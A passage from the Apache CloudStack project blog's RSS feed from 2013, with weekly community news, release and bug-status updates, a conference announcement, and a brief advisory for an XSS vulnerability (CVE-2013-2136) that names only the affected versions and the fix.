name="ApacheCloudStackWeeklyNews-4September2013-Events"></a>Events</h3><ul><li><b><a href="http://lanyrd.com/2013/build-a-cloud-day-london/" target="_blank" rel="nofollow" class="external-link">Build a Cloud Day - London</a></b> being hosted by Sebastien Goasguen, being held on September 5.</li><li><b><a href="http://www.cloudplugfest.org/about-cloud-plugfests" target="_blank" rel="nofollow" class="external-link">Cloud Plug Fest</a></b> offers a variety of Tutorials and sessions, including OpenStack and CloudStack, in Madrid, Spain September 16-20.</li><li><b><a href="http://lanyrd.com/2013/build-a-cloud-day-geneva-switzerland/" target="_blank" rel="nofollow" class="external-link">Build a Cloud Day - Switzerland</a></b> has Sebastien Goasguen teaching you and helping you build clouds across Europe on September 26.</li><li><b><a href="http://lanyrd.com/2013/cloudstack-collaboration-conference/" target="_blank" rel="nofollow" class="external-link">CloudStack Collaboration Conference</a></b> planning is well underway for Amsterdam, Netherlands. Put it on your calendar now for November 20-22.</li></ul><h3><a name="ApacheCloudStackWeeklyNews-4September2013-NewCommittersandPMCMembers"></a>New Committers and PMC Members</h3><ul><li>Ilya Musayev has been invited to join the CloudStack PMC, and <a href="http://markmail.org/message/263fp7wl56lhrwon" target="_blank" rel="nofollow" class="external-link">has accepted</a>.</li><li>Vijay Bhamidipati has been invited by the PMC to become a committer and <a href="http://markmail.org/message/ol43ltkhkwnihgnd" target="_blank" rel="nofollow" class="external-link">has accepted</a>.</li><li>Toshiaki Hatano has been invited by the PMC to become a committer and <a href="http://markmail.org/message/yrduvvabhtkdravy" target="_blank" rel="nofollow" class="external-link">has accepted</a>.</li><li>Kirk Kosinski has been invited by the PMC to become a committer and <a href="http://markmail.org/message/6abmubyyzpgtdzru" target="_blank" rel="nofollow" class="external-link">has accepted</a>.</li><li>Ian Duffy has been invited by the PMC to become a committer and <a href="http://markmail.org/message/jugi22z546nuljgp" target="_blank" rel="nofollow" class="external-link">has accepted</a>.</li></ul>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Announcing the CloudStack Collaboration Conference - Europe]]></title>
            <link>https://cloudstack.apache.org/blog/announcing_the_cloudstack_collaboration_conference</link>
            <guid>https://cloudstack.apache.org/blog/announcing_the_cloudstack_collaboration_conference</guid>
            <pubDate>Fri, 16 Aug 2013 00:00:00 GMT</pubDate>
            <description><![CDATA[With two very successful events in the United Stated we know it is time to bring this conference to Europe. This time we’re gathering the community in The Netherlands. More specific, right in the center of Amsterdam in one of its historical landmarks, the Beurs van Berlage.]]></description>
            <content:encoded><![CDATA[<p>With two very successful events in the United Stated we know it is time to bring this conference to Europe. This time we’re gathering the community in The Netherlands. More specific, right in the center of Amsterdam in one of its historical landmarks, the Beurs van Berlage.</p><p>Starting November 20th with a hack day and continuing with a two day conference, this will be your opportunity to dive into all things CloudStack. Meet the community, discuss new ideas and learn about existing and upcoming features. We have setup the conference to provide an exciting environment to participate in workshops, attend presentations or just sit back and have a drink with other CloudStack enthusiasts. </p><p>The Call for Papers is open right now, so send your abstract to <a href="mailto:cfp@cloudstackcollab.org" target="_blank" rel="noopener noreferrer">cfp@cloudstackcollab.org</a>. If it’s relevant to Apache CloudStack development, deployment, and integration, we’re interested in what you might have to say. We can accommodate workshops, hack sessions, presentation and we want to work with you to make sure you can share what you want with the community. Check the website for more details, <a href="http://www.cloudstackcollab.org/call-for-papers" target="_blank" rel="noopener noreferrer">http://www.cloudstackcollab.org/call-for-papers</a></p><p>The conference website http://www.cloudstackcollab.org will be regularly updated with new content to keep you informed about the conference. Please check it regularly to be informed about the latest developments regarding the CloudStack Collaboration Conference Europe. </p><p></p><h2>Important Dates </h2><p></p><p>The Call for Papers will run from today (August 16th) to September 30th. We will send out notifications shortly after closing the Call for Papers.</p><p>The Conference Hack Day will be November 20th</p><p>The Conference talks and planned sessions begin on November 21th </p><p>The Conference ends on November 22th </p><p></p><h2>Registration</h2><p></p><p>We will announce the registration in a short while, please keep an eye on the website <a href="http://www.cloudstackcollab.org/" target="_blank" rel="noopener noreferrer">http://www.cloudstackcollab.org/</a> for more details.</p><p></p><h2>Location</h2><p></p><p>The conference will be at the Beurs van Berlage in Amsterdam, The Netherlands. Located in the city center it is close to quite a number of hotels and hostels in Amsterdam. We are looking at the possibility to make a deal with one of the hotels in the immediate vicinity of the conference location. We will update the conference website when we have the details.</p><p></p><h2>Sponsoring</h2><p></p><p>Sponsoring opportunities are available for the CloudStack Collaboration Conference. At the conference website <a href="http://www.cloudstackcollab.org/sponsors" target="_blank" rel="noopener noreferrer">http://www.cloudstackcollab.org/sponsors</a> some of our sponsors will explain you the benefits in a video message. If you’d like to see the sponsorship prospectus or ask about sponsoring, contact <a href="mailto:sponsors@cloudstackcollab.org" target="_blank" rel="noopener noreferrer">sponsors@cloudstackcollab.org</a>.</p><p>We’re very pleased to invite the community to Amsterdam and we hope you’ll join us! See you in Amsterdam!</p>]]></content:encoded>
            <category>news</category>
        </item>
        <item>
            <title><![CDATA[[CVE-2013-2136] Apache CloudStack Cross-site scripting (XSS) vulnerabiliity]]></title>
            <link>https://cloudstack.apache.org/blog/cve_2013_2136_apache_cloudstack</link>
            <guid>https://cloudstack.apache.org/blog/cve_2013_2136_apache_cloudstack</guid>
            <pubDate>Wed, 07 Aug 2013 00:00:00 GMT</pubDate>
            <description><![CDATA[Product: Apache CloudStack]]></description>
            <content:encoded><![CDATA[<p>Product: Apache CloudStack<br>Vendor: The Apache Software Foundation<br>Vulnerability Type(s): Cross-site scripting (XSS)<br>Vulnerable version(s): Apache CloudStack versions 4.0.0-incubating, 4.0.1-incubating, 4.0.2 and 4.1.0<br>CVE References: CVE-2013-2136<br>Risk Level: Low<br>CVSSv2 Base Scores: 4 (AV:N/AC:L/Au:S/C:N/I:P/A:N)</p><p>Description:</p><p>The Apache CloudStack Security Team was notified of an issue found in the Apache CloudStack user interface that allows an authenticated user to execute cross-site scripting attack against other users within the system.</p><p>Mitigation:</p><p>Updating to Apache CloudStack versions 4.1.1 or higher will mitigate this vulnerability.</p><p>Please see the 4.1.1 release notes for further information about how to upgrade:</p><p><a href="http://cloudstack.apache.org/docs/en-US/Apache_CloudStack/4.1.1/html/Release_Notes/index.html" target="_blank" rel="noopener noreferrer">http://cloudstack.apache.org/docs/en-US/Apache_CloudStack/4.1.1/html/Release_Notes/index.html</a></p><p>References:</p><p><a href="https://issues.apache.org/jira/browse/CLOUDSTACK-2936" target="_blank" rel="noopener noreferrer">https://issues.apache.org/jira/browse/CLOUDSTACK-2936</a></p><p>Credit:</p><p>This issue was identified by Oleg Boytsev from strongserver.org.</p>]]></content:encoded>
            <category>announcement</category>
        </item>
        <item>
            <title><![CDATA[Apache CloudStack 4.1.1 Released]]></title>
            <link>https://cloudstack.apache.org/blog/apache_cloudstack_4_1_1</link>
            <guid>https://cloudstack.apache.org/blog/apache_cloudstack_4_1_1</guid>
            <pubDate>Tue, 06 Aug 2013 00:00:00 GMT</pubDate>
            <description><![CDATA[The Apache CloudStack project is pleased to announce the 4.1.1 release]]></description>
            <content:encoded><![CDATA[<p>The Apache CloudStack project is pleased to announce the 4.1.1 release of the Apache CloudStack cloud orchestration platform.</p><p>This is a minor release of the 4.1.0 branch which released on June 5, 2013. The 4.1.1 release contains more than 45 bug fixes. As a bug-fix only release, no new features are included.</p><p>Apache CloudStack is an integrated Infrastructure-as-a-Service (IaaS) software platform that allows users to build feature-rich public and private cloud environments. CloudStack includes an intuitive user interface and rich API for managing the compute, networking, software, and storage resources. The project became an Apache top level project in arch 2013.</p><p>More information about Apache CloudStack can be found at: <a href="http://cloudstack.apache.org/" target="_blank" rel="noopener noreferrer">http://cloudstack.apache.org/</a></p><p><strong>Release Notes</strong></p><p>The 4.1.1 release includes fixes for a number of issues; including problems with snapshots, fixes to documentation, and more. Please see the Release Notes file for a full list of corrected issues in this release and upgrade instructions.</p><p><a href="http://cloudstack.apache.org/docs/en-US/Apache_CloudStack/4.1.1/html/Release_Notes/index.html" target="_blank" rel="noopener noreferrer">http://cloudstack.apache.org/docs/en-US/Apache_CloudStack/4.1.1/html/Release_Notes/index.html</a></p><p>The 4.1.1 release also addresses a cross-site scripting (XSS) vulnerability identified by CVE-2013-2136.</p><p><strong>Downloads</strong></p><p>The official source code release can be downloaded from:</p><p><a href="http://cloudstack.apache.org/downloads.html" target="_blank" rel="noopener noreferrer">http://cloudstack.apache.org/downloads.html</a></p><p>In addition to the official source code release, individual contributors have also made convenience binaries available on the Apache CloudStack download page.</p>]]></content:encoded>
            <category>announcement</category>
        </item>
        <item>
            <title><![CDATA[Apache CloudStack Weekly News - 24 July 2013]]></title>
            <link>https://cloudstack.apache.org/blog/apache_cloudstack_weekly_news_24</link>
            <guid>https://cloudstack.apache.org/blog/apache_cloudstack_weekly_news_24</guid>
            <pubDate>Thu, 25 Jul 2013 00:00:00 GMT</pubDate>
            <description><![CDATA[Welcome back to another exciting issue of the Apache CloudStack Weekly News. This week, we take a look at the progress towards 4.2.0, major discussions on the Apache CloudStack mailing lists, and much more.]]></description>
            <content:encoded><![CDATA[<p>Welcome back to another exciting issue of the <a href="http://cloudstack.apache.org" target="_blank" rel="nofollow" class="external-link">Apache CloudStack</a> Weekly News. This week, we take a look at the progress towards 4.2.0, major discussions on the Apache CloudStack mailing lists, and much more. </p><h3><a name="ApacheCloudStackWeeklyNews-24July2013-MajorDiscussions"></a>Major Discussions</h3><h5><a name="ApacheCloudStackWeeklyNews-24July2013-4.2ReleaseCodingStartingtoWrapup"></a>4.2 Release Coding Starting to Wrap-up</h5><p>With a less than a week left before code freeze for the 4.2 release on 7/29, there is a lot of work still to be done and a lot of bugs that need to be worked out. With this major release many new and existing features need the blocker and critical bugs cleared out as soon as possible. There's been great teamwork in the community. <a href="http://markmail.org/message/gurcwi24lhfwut7s" target="_blank" rel="nofollow" class="external-link">Animesh Chaturvedi points out the work that still needs to be done</a>:</p><blockquote><p>...For the days remaining to code freeze, lets prioritize fixing blockers and critical over majors. As from last week in order to clear up our backlog I request you to help out on aggressively fixing the issues. The unassigned issue list is available at <a href="http://s.apache.org/BlH/" target="_blank" rel="nofollow" class="external-link">http://s.apache.org/BlH/</a>. When you fix a bug in 4.2 please make sure it is also fixed in master.</p><p>The outstanding resolved issues now stand at 492 with 250 blockers and critical still to be verified. As with fixing issues now we need to focus on blockers and critical first.</p><p>The detailed bug status is captured below.</p><div class="table-wrap"><table class="confluenceTable"><tbody><tr><th class="confluenceTh">Bugs</th><th class="confluenceTh">This Week </th><th class="confluenceTh">&nbsp;</th><th class="confluenceTh">&nbsp;</th><th class="confluenceTh">&nbsp;</th><th class="confluenceTh">Last Week    </th><th class="confluenceTh">&nbsp;</th><th class="confluenceTh">&nbsp;</th><th class="confluenceTh">&nbsp;</th></tr><tr><td class="confluenceTd">&nbsp;</td><td class="confluenceTd">   Blocker </td><td class="confluenceTd">  Critical</td><td class="confluenceTd"> Major </td><td class="confluenceTd"> Total </td><td class="confluenceTd">   Blocker </td><td class="confluenceTd"> Critical </td><td class="confluenceTd"> Major </td><td class="confluenceTd"> Total </td></tr><tr><td class="confluenceTd">  Incoming       </td><td class="confluenceTd">        29 </td><td class="confluenceTd">       48 </td><td class="confluenceTd">    64 </td><td class="confluenceTd">   144 </td><td class="confluenceTd">        31 </td><td class="confluenceTd">       40 </td><td class="confluenceTd">    46 </td><td class="confluenceTd">   120 </td></tr><tr><td class="confluenceTd"> Outgoing        </td><td class="confluenceTd">        37 </td><td class="confluenceTd">       68 </td><td class="confluenceTd">    51 </td><td class="confluenceTd">   159 </td><td class="confluenceTd">        33 </td><td class="confluenceTd">       38 </td><td class="confluenceTd">    65 </td><td class="confluenceTd">   140 </td></tr><tr><td class="confluenceTd"> Open Unassigned </td><td class="confluenceTd">         6 </td><td class="confluenceTd">       13 </td><td class="confluenceTd">   149 </td><td class="confluenceTd">   208 </td><td class="confluenceTd">         6 </td><td class="confluenceTd">       46 </td><td class="confluenceTd">   120 </td><td class="confluenceTd">   226 </td></tr><tr><th class="confluenceTh">Open Total      </th><td class="confluenceTd">        24 </td><td class="confluenceTd">       68 </td><td class="confluenceTd">   239 </td><td class="confluenceTd">   392 </td><td class="confluenceTd">        30 </td><td class="confluenceTd">       84 </td><td class="confluenceTd">   213 </td><td class="confluenceTd">   388 </td></tr></tbody></table></div><p>The status for features or improvement is depicted in table below</p><div class="table-wrap"><table class="confluenceTable"><tbody><tr><th class="confluenceTh">New Features / Improvements </th><th class="confluenceTh">Today     </th><th class="confluenceTh">Last Week </th></tr><tr><td class="confluenceTd"> Closed                      </td><td class="confluenceTd">        13 </td><td class="confluenceTd">        12 </td></tr><tr><td class="confluenceTd"> Resolved                    </td><td class="confluenceTd">        60 </td><td class="confluenceTd">        59 </td></tr><tr><td class="confluenceTd"> In Progress                 </td><td class="confluenceTd">         9 </td><td class="confluenceTd">        10 </td></tr><tr><td class="confluenceTd"> Reopened                    </td><td class="confluenceTd">         2 </td><td class="confluenceTd">         2 </td></tr><tr><td class="confluenceTd"> Ready To Review             </td><td class="confluenceTd">         0 </td><td class="confluenceTd">         0 </td></tr><tr><td class="confluenceTd"> Open                        </td><td class="confluenceTd">        18 </td><td class="confluenceTd">        19 </td></tr><tr><th class="confluenceTh">Total                       </th><td class="confluenceTd">       102 </td><td class="confluenceTd">       102 </td></tr></tbody></table></div></blockquote><h5><a name="ApacheCloudStackWeeklyNews-24July2013-4.1.1ReleaseCandidateVoteisNowOpen"></a>4.1.1 Release Candidate Vote is Now Open</h5><p>4.1.1 patch release has been in the works for a while now and has quite a few fixes in it since the release of 4.1.0 on June 5th. The <a href="https://dist.apache.org/repos/dist/dev/cloudstack/4.1.1/" target="_blank" rel="nofollow" class="external-link">release candidate</a> was cut on Monday and the <a href="http://markmail.org/message/36burcs46xcbglji" target="_blank" rel="nofollow" class="external-link">Vote is now open</a> until Saturday. Please provide your testing results and vote.</p><h5><a name="ApacheCloudStackWeeklyNews-24July2013-BylawschangeforCommitterandPMCMemberNomination"></a>Bylaws change for Committer and PMC Member Nomination</h5><p>To make the process of allowing for nomination of Committers and PMC members into the CloudStack community, Chip Childers has started a discussion on changing the bylaws to change the voting process of the PMC Group from a lazy consensus to a majority process. <a href="http://markmail.org/message/a635t4mcty5edbl5" target="_blank" rel="nofollow" class="external-link">Join in the discussion</a>.</p><blockquote><p>As it stands now, we currently use a "Lazy Consensus" model (yes Noah, I know we didn't define that term correctly as of now, but I think that's a different discussion). We currently have that term defined as:</p><p>Lazy Consensus - Lazy consensus requires 3 binding +1 votes and no binding -1 votes.</p><p>I'd like to propose that we change the PMC and Committer voting rule to use the Lazy 2/3 Majority approach defined as:</p><p>Lazy 2/3 majority votes requires at least 3 binding votes and twice as many binding +1 votes as binding -1 votes. <br>...</p></blockquote><h5><a name="ApacheCloudStackWeeklyNews-24July2013-PossiblyEndingtheIRCChats"></a>Possibly Ending the IRC Chats</h5><p>After low attendance in weekly IRC chats, Joe Brockmeier has raised the question about the <a href="http://markmail.org/message/n7ex7rdvfguhwylr" target="_blank" rel="nofollow" class="external-link">need for regular IRC chats</a>. IRC chats have been in place for a long time with the community. Make sure to stay involved with the discussion and let your voice be heard.</p><h5><a name="ApacheCloudStackWeeklyNews-24July2013-HowYourCodingMayAffectOthers"></a>How Your Coding May Affect Others</h5><p>Brian Federle noticed when working on the GUI code in Master <a href="http://markmail.org/message/ki42u4n6i7mbjaj4" target="_blank" rel="nofollow" class="external-link">recently that the tab style had changed</a>. This started a large rebase and merge of the UI code of other developers in the community. While the original commit had the best intention and was committed correctly for 4.3, the review and commit were done within a short time frame and didn't give the community much time to see it and understand the impact. Make sure to communicate and be aware of what impacts your code might have on others working on the same objects as you. </p><p>Chip Childers pointed out:</p><blockquote><p>...that sweeping changes like this (or architectural changes as well) are best done <b>early</b> in a release cycle. The challenge we've run into here is that while 4.2 work is proceeding, master is open for 4.3 changes (and there is a preference that if something big is going to come in, nows the time to do it).</p></blockquote><h5><a name="ApacheCloudStackWeeklyNews-24July2013-NewComponentsinJIRA"></a>New Components in JIRA</h5><p>To help clarify better on what a bug is all about, and to get it to the right visibility on it, <a href="http://markmail.org/message/tc74y3fqs27tu6uy" target="_blank" rel="nofollow" class="external-link">Prasanna Santhanam and Animesh Chaturvedi</a> have added several new component fields in JIRA to help with bug distinction. The new components:</p><ul><li>Infra - Infrastructure managed by the project - CloudStack - (jenkins, builds, repos, mirrors)</li><li>SystemVM - SystemVM appliances, images, scripts, ssvm, cpvm</li><li>Virtual Router - Anything related to the Virtual Router appliance</li><li>XCP - Xen Cloud Platform</li><li>UCS - Cisco UCS System</li><li>Upgrade - Upgrade scripts, process, database</li></ul><h3><a name="ApacheCloudStackWeeklyNews-24July2013-CloudStackPlanet"></a>CloudStack Planet</h3><h5><a name="ApacheCloudStackWeeklyNews-24July2013-DoYouHaveOneoftheCoolestCloudStackClouds%3F"></a>Do You Have One of the Coolest CloudStack Clouds?</h5><p>Gregg Watkins is doing a video on the Coolest Clouds and is <a href="http://markmail.org/message/7grezc77jioti5di" target="_blank" rel="nofollow" class="external-link">looking for participants</a>. Gregg has already spent most of the summer working with the project putting together videos on CloudStack, the CloudStack Collaboration Conference and is now looking to show case some of the best clouds in the world ran on Apache CloudStack. If you would like to participate please reach out to Gregg on the Dev or User lists.</p><blockquote><p>The last video I plan on making this summer is a short video featuring some<br>of the coolest clouds and I am hoping you all will help me since we are all<br>so spread out.</p><p>Here is what I am needing to make this project a success:   A webcam<br>interview of you (questions below) and screen casts/capture of your cloud<br>in action.</p><p>Because my fellowship ends August 9th I will need this information by no<br>later than the <b>29th of July.</b>  </p><p>While I appreciate how busy all of you are, I am hoping you can carve a few<br>moments out of a day this week and complete the questions and capture some<br>of your cloud.  If you need any assistance in either capturing video<br>interviews or screens please let me know and I can help you.</p><p>This project is a great way to get your project some more visibility and I<br>thank you in advance for any help you can provide.  Please let me know if<br>you have any questions or concerns.<br>...</p></blockquote><h5><a name="ApacheCloudStackWeeklyNews-24July2013-ApacheWhirrandCloudStackforBigDataintheClouds"></a>Apache Whirr and CloudStack for Big Data in the Clouds</h5><p>Sebastien Goasguen has a <a href="http://sebgoa.blogspot.com/2013/07/apache-whirr-and-cloudstack-for-big.html" target="_blank" rel="nofollow" class="external-link">tutorial on his blog about using Apache Whirr with CloudStack</a>. "In this tutorial we introduce Apache Whirr, an application that can be used to define, provision and configure big data solutions on CloudStack based clouds. Whirr automatically starts instances in the cloud and boostrapps hadoop on them. It can also add packages such as Hive, Hbase and Yarn for map-reduce jobs."</p><h3><a name="ApacheCloudStackWeeklyNews-24July2013-Events"></a>Events</h3><ul><li><b><a href="http://www.oscon.com/oscon2013" target="_blank" rel="nofollow" class="external-link">O'Reilly's Open Source Convention (OSCON)</a></b> is being held July 22-26 at Oregon Convention Center, Portland Oregon. There will be several CloudStack talks.</li><li><b><a href="https://cephdayny.eventbrite.com/" target="_blank" rel="nofollow" class="external-link">Ceph Day NYC</a></b> will feature David Nalley speaking on CloudStack. Come learn out CloudStack and Ceph on August 1.</li><li><b>CloudStack Study Meeting</b> Suzuki-san will be organizing a study meeting in Osaka on August 2.</li><li><b><a href="http://www.ospn.jp/osc2012-kyoto/" target="_blank" rel="nofollow" class="external-link">OSC Kyoto</a></b> The <a href="http://cloudstack.jp/" target="_blank" rel="nofollow" class="external-link">Japanese CloudStack User Group (JCSUG)</a> will be presenting at the Open Source Conference in Kyoto on August 2-3.</li><li><b><a href="http://www.meetup.com/CloudStack-SF-Bay-Area-Users-Group/events/117379992/" target="_blank" rel="nofollow" class="external-link">CloudStack Meetup</a></b> at SAP Labs in Palo Alto, CA on August 7th from 6:00 to 9:00 p.m. Be sure to RSVP on Meetup.com!</li><li><b><a href="http://lanyrd.com/2013/build-a-cloud-day-london/" target="_blank" rel="nofollow" class="external-link">Build a Cloud Day - London</a></b> being hosted by Sebastien Goasguen, being held on September 5.</li><li><b><a href="http://www.cloudplugfest.org/about-cloud-plugfests" target="_blank" rel="nofollow" class="external-link">Cloud Plug Fest</a></b> offers a variety of Tutorials and sessions, including OpenStack and CloudStack, in Madrid, Spain September 16-20.</li><li><b><a href="http://lanyrd.com/2013/build-a-cloud-day-geneva-switzerland/" target="_blank" rel="nofollow" class="external-link">Build a Cloud Day - Switzerland</a></b> has Sebastien Goasguen teaching you and helping you build clouds across Europe on September 26.</li><li><b><a href="http://lanyrd.com/2013/cloudstack-collaboration-conference/" target="_blank" rel="nofollow" class="external-link">CloudStack Collaboration Conference</a></b> planning is well underway for Amsterdam, Netherlands. Put it on your calendar now for November 20-22.</li></ul><h3><a name="ApacheCloudStackWeeklyNews-24July2013-NewCommittersandPMCMembers"></a>New Committers and PMC Members</h3><p>No new committers or PMC members have been announced in the last newsletter period. </p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CloudStack Weekly News - 10 July 2013]]></title>
            <link>https://cloudstack.apache.org/blog/cloudstack_weekly_news_10_july</link>
            <guid>https://cloudstack.apache.org/blog/cloudstack_weekly_news_10_july</guid>
            <pubDate>Thu, 11 Jul 2013 00:00:00 GMT</pubDate>
            <description><![CDATA[The community is busy working on 4.2.0, and there's much to be done before the release is ready. This week, we're taking a look at some of the interesting discussions going on in the community about the next generation of Apache CloudStack, and functionality we can provide, as well as procedural changes that everyone should be aware of.]]></description>
            <content:encoded><![CDATA[<p><a href="/img/imported/ab378739-3c34-48ea-9495-2c49e23e58d6"><img loading="lazy" src="/img/imported/ab378739-3c34-48ea-9495-2c49e23e58d6?t=true" alt="square-cloudmonkey.png" align="left" vspace="5" hspace="5" class="img_ev3q"></a>The community is busy working on 4.2.0, and there's much to be done before the release is ready. This week, we're taking a look at some of the interesting discussions going on in the community about the next generation of Apache CloudStack, and functionality we can provide, as well as procedural changes that everyone should be aware of. </p><h3><a name="ApacheCloudStackWeeklyNews-10July2013-NewsMovingtoWednesdays"></a>News Moving to Wednesdays</h3><p>To help get information out a little more timely to key discussions and information that is going on in the community we are going to move the publishing of the weekly news to Wednesdays, starting with this issue on July 10th! If you'd like to help put the news together, please sign up for the marketing@cloudstack.apache.org mailing list and ask how you can get involved!</p><h3><a name="ApacheCloudStackWeeklyNews-10July2013-MajorDiscussions"></a>Major Discussions</h3><p>In this section we look at major discussions that have happened on the CloudStack mailing lists. This is by no means a full summary of all discussions on the lists, but we try to hit the highlights that are relevant to the larger CloudStack community. </p><h5><a name="ApacheCloudStackWeeklyNews-10July2013-4.2StatusUpdate"></a>4.2 Status Update</h5><p>Animesh Chaturvedi is tracking the <a href="http://markmail.org/message/snon6ljkti6fgq4k" target="_blank" rel="nofollow" class="external-link">current status of the release</a>. Testing, bug fix work, and documentation should be targeted to complete by code freeze on 7/28. Release is still on schedule to release by 8/19.</p><blockquote><p>We are now just 3 weeks from ACS 4.2 code freeze on 7/29. We have around 400 open defects with 100+ blockers and critical and I expect another 200 new defects to come in. As a community we have been fixing roughly 100 defects per week, in order to clear up our backlog I request you to help out on aggressively fixing the issues. The unassigned issue list is available at <a href="http://s.apache.org/BlH/" target="_blank" rel="nofollow" class="external-link">http://s.apache.org/BlH/</a>. When you fix a bug in 4.2 please make sure it is also fixed in master.</p><div class="codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_biex"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">&lt;p&gt;Given the debate on system template changes in last few days of 4.1 requiring big testing effort and potential regression, I would like to see that as community we lock down system templates for 4.2 pretty soon. If any changes are needed we should call it out now and get them resolved.&lt;/p&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">&lt;p&gt;As for bugs here is a summary for this week:&lt;/p&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">&lt;div class='table-wrap'&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">&lt;table class='confluenceTable'&gt;&lt;tbody&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    &lt;tr&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        &lt;th class='confluenceTh'&gt;Bugs&lt;/th&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        &lt;th class='confluenceTh'&gt;This Week &lt;/th&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        &lt;th class='confluenceTh'&gt;&amp;nbsp;&lt;/th&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        &lt;th class='confluenceTh'&gt;&amp;nbsp;&lt;/th&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        &lt;th class='confluenceTh'&gt;&amp;nbsp;&lt;/th&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        &lt;th class='confluenceTh'&gt;Last Week    &lt;/th&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        &lt;th class='confluenceTh'&gt;&amp;nbsp;&lt;/th&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        &lt;th class='confluenceTh'&gt;&amp;nbsp;&lt;/th&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        &lt;th class='confluenceTh'&gt;&amp;nbsp;&lt;/th&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    &lt;/tr&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    &lt;tr&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        &lt;td class='confluenceTd'&gt;&amp;nbsp;&lt;/td&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        &lt;td class='confluenceTd'&gt;Blocker &lt;/td&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        &lt;td class='confluenceTd'&gt;Critical&lt;/td&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        &lt;td class='confluenceTd'&gt;Major &lt;/td&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        &lt;td class='confluenceTd'&gt;Total &lt;/td&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        &lt;td class='confluenceTd'&gt;Blocker &lt;/td&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        &lt;td class='confluenceTd'&gt;Critical &lt;/td&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        &lt;td class='confluenceTd'&gt;Major &lt;/td&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        &lt;td class='confluenceTd'&gt;Total &lt;/td&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    &lt;/tr&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    &lt;tr&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        &lt;td class='confluenceTd'&gt;Incoming&lt;/td&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        &lt;td class='confluenceTd'&gt;8 &lt;/td&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        &lt;td class='confluenceTd'&gt;10 &lt;/td&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        &lt;td class='confluenceTd'&gt;28 &lt;/td&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        &lt;td class='confluenceTd'&gt;50 &lt;/td&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        &lt;td class='confluenceTd'&gt;11 &lt;/td&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        &lt;td class='confluenceTd'&gt;34 &lt;/td&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        &lt;td class='confluenceTd'&gt;24 &lt;/td&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        &lt;td class='confluenceTd'&gt;72 &lt;/td&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    &lt;/tr&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    &lt;tr&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        &lt;td class='confluenceTd'&gt;Outgoing&lt;/td&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        &lt;td class='confluenceTd'&gt;26 &lt;/td&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        &lt;td class='confluenceTd'&gt;23 &lt;/td&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        &lt;td class='confluenceTd'&gt;34 &lt;/td&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        &lt;td class='confluenceTd'&gt;86 &lt;/td&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        &lt;td class='confluenceTd'&gt;26 &lt;/td&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        &lt;td class='confluenceTd'&gt;30 &lt;/td&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        &lt;td class='confluenceTd'&gt;40 &lt;/td&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        &lt;td class='confluenceTd'&gt;100 &lt;/td&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    &lt;/tr&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    &lt;tr&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        &lt;td class='confluenceTd'&gt;Open Unassigned &lt;/td&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        &lt;td class='confluenceTd'&gt;7 &lt;/td&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        &lt;td class='confluenceTd'&gt;49 &lt;/td&gt;</span><br></span><span class="token-line" style="color:#393A34"><span class="token 